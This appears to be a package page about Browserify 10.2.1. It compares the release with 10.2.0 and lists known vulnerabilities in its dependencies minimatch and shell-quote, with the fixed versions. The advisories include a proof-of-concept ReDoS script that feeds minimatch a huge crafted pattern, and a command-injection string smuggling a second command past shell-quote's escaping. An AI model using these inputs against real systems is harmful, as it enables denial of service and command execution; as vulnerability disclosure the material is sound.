Browserify is a powerful tool for developers, enabling them to write Node.js-style modules that run directly in the browser. This allows for code reuse and a more organized front-end development workflow. Version 10.2.1 builds upon the solid foundation of 10.2.0, offering subtle but important changes. Both versions share the same core description: "browser-side require() the node way," highlighting the fundamental purpose of the library.
A key difference lies in the dependencies. Version 10.2.1 removes the "shallow-copy": "0.0.1" dependency, while retaining all others from version 10.2.0. While seemingly minor, this suggests optimizations or refactoring within the Browserify codebase. Developers should investigate if this change impacts their specific usage, especially if they relied on shallow-copy through Browserify indirectly.
Both versions depend on a wide array of modules, showcasing Browserify's comprehensive approach. These dependencies facilitate tasks such as URL parsing, globbing, handling utilities, managing buffers, processing streams, and resolving module paths. The robust dependency list underscores the library's ability to handle complex browser-side module bundling. Developers benefit from this rich ecosystem, simplifying their development process and reducing the need to reinvent the wheel. The inclusion of modules like browserify-zlib, http-browserify, and crypto-browserify demonstrates Browserify's commitment to providing browser-compatible implementations of core Node.js functionalities.
All the vulnerabilities related to the version 10.2.1 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Potential Command Injection in shell-quote
Affected versions of shell-quote do not properly escape command line arguments, which may result in command injection if the library is used to escape user input destined for use as command line arguments.
The following characters are not escaped properly: >,;,{,}
Bash has a neat but not well known feature known as "Bash Brace Expansion", wherein a sub-command can be executed without spaces by running it between a set of {} and using the , instead of to seperate arguments. Because of this, full command injection is possible even though it was initially thought to be impossible.
const quote = require('shell-quote').quote;
console.log(quote(['a;{echo,test,123,234}']));
// Actual "a;{echo,test,123,234}"
// Expected "a\;\{echo,test,123,234\}"
// Functional Equivalent "a; echo 'test' '123' '1234'"
Update to version 1.6.1 or later.
